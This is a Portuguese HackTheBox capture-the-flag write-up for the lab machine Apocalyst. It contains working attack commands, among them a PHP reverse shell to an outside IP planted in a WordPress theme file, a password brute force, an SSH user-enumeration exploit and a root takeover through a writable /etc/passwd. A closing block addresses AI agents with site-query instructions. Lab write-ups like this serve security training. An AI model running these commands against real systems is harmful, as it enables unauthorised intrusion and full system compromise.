> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Relato do HackTheBox Apocalyst

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração do WordPress
* Desafio de Estego em Imagem - Steghide
* Vazamento de Informações - Enumeração de Usuários
* Exploração do WordPress - Editor de Tema (RCE)
* Abusando de permissões mal configuradas (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/9a6eaa4a6e48fe18a5a10c04fff8b861e480080e" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/7e126d04055833a939f73820be897f7e51cce700" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="/files/43816864a1ed0064c903648db959085834168f6e" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap (22,80):**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="/files/39a1c96492eef1c0f5e3951a158761f999ebd062" alt=""><figcaption></figcaption></figure>

Detectamos um site WordPress, mas a resolução do domínio está configurada incorretamente.

<figure><img src="/files/79339531e957bf3109b3f14d5df6eac6e5929690" alt=""><figcaption></figcaption></figure>

Adicionamos a seguinte entrada a */etc/hosts*:

<figure><img src="/files/ec1d414dff87f8beb62934692e67d22d08c41ce9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/24caa2cd9c30b51a279fc7763a38798cc1cc2a9f" alt="" width="563"><figcaption></figcaption></figure>

## **Exploração do site WordPress**

<figure><img src="/files/8bf7224ff233b9b0f59d82a1369c80d8e90f87c6" alt=""><figcaption></figcaption></figure>

#### **Identificar um usuário válido**

Encontramos um usuário válido: **falaraki**.

<figure><img src="/files/c5ff839e5d739c67a076e2a71b945f18328280a8" alt="" width="563"><figcaption></figcaption></figure>

#### **Exploração de SSH**

Como a versão do SSH está desatualizada, podemos usar um exploit para validar o usuário no sistema:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/c267f845da29eb2483e46285d1c748950b19807b" alt=""><figcaption></figcaption></figure>

Validar que o usuário existe:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="/files/0a4561aba7286212033a6c96e92d972f881c840e" alt=""><figcaption></figcaption></figure>

#### Então, para o WordPress:

<figure><img src="/files/7ffb4e8b71898fabbb188d8afb8a345b55f08782" alt=""><figcaption></figcaption></figure>

### **Listagem do WordPress**

Usamos *wfuzz* para procurar diretórios interessantes:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Essa varredura detecta várias páginas retornando um código 301, redirecionando para uma imagem.

<figure><img src="/files/b259bc4895a30e387eff50f50a2e6a26a861c61d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/797ed7b4f5e5b8d65ae15d1f1eea87439deed748" alt=""><figcaption></figcaption></figure>

Em seguida, filtramos pelo tamanho do texto (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Nenhum resultado interessante.

<figure><img src="/files/372ef1d2ced970c8f9100d78b9f33ed87abff65f" alt=""><figcaption></figcaption></figure>

### **Criação de Dicionário Personalizado - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Geramos um dicionário com base no site:

<figure><img src="/files/14d47dc75507d2e5c83b16438d112686de49fb93" alt=""><figcaption></figcaption></figure>

Use **Cewl** para gerar um dicionário com base no site:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="/files/4fdb8a1440478201b3ae91e66d928d905ddb42c1" alt=""><figcaption></figcaption></figure>

Nova enumeração com *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Encontramos o **`Retidão`** diretório.

<figure><img src="/files/eecdb818c0b0287e76030c1fed12db2461cf6ed1" alt=""><figcaption></figcaption></figure>

### **Análise de esteganografia com Steghide**

Salvamos a imagem e a analisamos:

1. Verificando se a imagem contém dados ocultos:

<figure><img src="/files/06c17d3e935e791131df7a2e57869c07c9ee549d" alt=""><figcaption></figcaption></figure>

Verificando se a imagem contém dados ocultos:

```bash
steghide info image.jpg
```

<figure><img src="/files/98c36c2c4ac74bfc58f119856107ec52c547178d" alt="" width="563"><figcaption></figcaption></figure>

Extração de dados ocultos:

```bash
steghide extract -sf image.jpg
```

<figure><img src="/files/7a230fe8d0d19f4ce0aaf4cfde8bd3d2e1e2b4ad" alt="" width="563"><figcaption></figcaption></figure>

Um *list.txt* um arquivo contendo palavras é gerado

<figure><img src="/files/14757369f922101ad23c1d793681731ddc74eca3" alt=""><figcaption></figcaption></figure>

### **Ataque de força bruta ao WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/4766dba9c194b0965fc29ae97920350a557d1155">/pages/4766dba9c194b0965fc29ae97920350a557d1155</a></td></tr></tbody></table>

<figure><img src="/files/f48f8f8bb8c8b25e925bf934a14d387a3f70f722" alt=""><figcaption></figcaption></figure>

Lançamos um ataque de força bruta com *wpscan*, explorando *xmlrpc.php* que está ativo:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Encontramos **falaraki**senha de **Transclisiação**.

<figure><img src="/files/3d53082a0cd30d8856777e001a367c94a1cbba0c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3168f9dd0ba361ea5c5430ff7b5a624d0112608d" alt=""><figcaption></figcaption></figure>

### **Exploração do WordPress - Execução Remota de Código (RCE)**

<figure><img src="/files/4a8053939e5bef62313f4851a43bcbf2861c8d94" alt=""><figcaption></figcaption></figure>

Nós modificamos o *404.php* arquivo e injete uma shell reversa nele:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Escutando na porta 443:

```bash
nc -nvlp 443
```

<figure><img src="/files/c38d493be7ceb02d01ccbc908d758764eb017f7a" alt=""><figcaption></figcaption></figure>

Executando a shell via *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="/files/50147d8c2b5bea7b07d400174528dd1715203861" alt=""><figcaption></figcaption></figure>

#### Sessão de shell aprimorada:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/d2d35cad36ac4d6233467734d9866f7159d79d50" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilégios**

### **Gerenciamento de Permissões (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Vemos que */etc/passwd* é editável.

<figure><img src="/files/d6b7b7d935dc18be0ade199f56e86e97c4520660" alt=""><figcaption></figcaption></figure>

Criando uma senha criptografada com OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="/files/c2667047a072a8efff007db5540170d23819fa5e" alt=""><figcaption></figcaption></figure>

O que gera:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Substituímos a linha root em */etc/passwd* pelo nosso hash.

<figure><img src="/files/f72766e2e63fd5fdb2b400b18b6b5ed257f527c6" alt=""><figcaption></figcaption></figure>

Entrar como root:

<figure><img src="/files/7e65f7ff3fb9814a143fcf1774ce50f9c98d336c" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/87d20bdc9e0ce400f9af10c77c451e1f1f31d1a2" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="/files/52d123e615b9b9bfa8b1673f3829678b1177125e" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
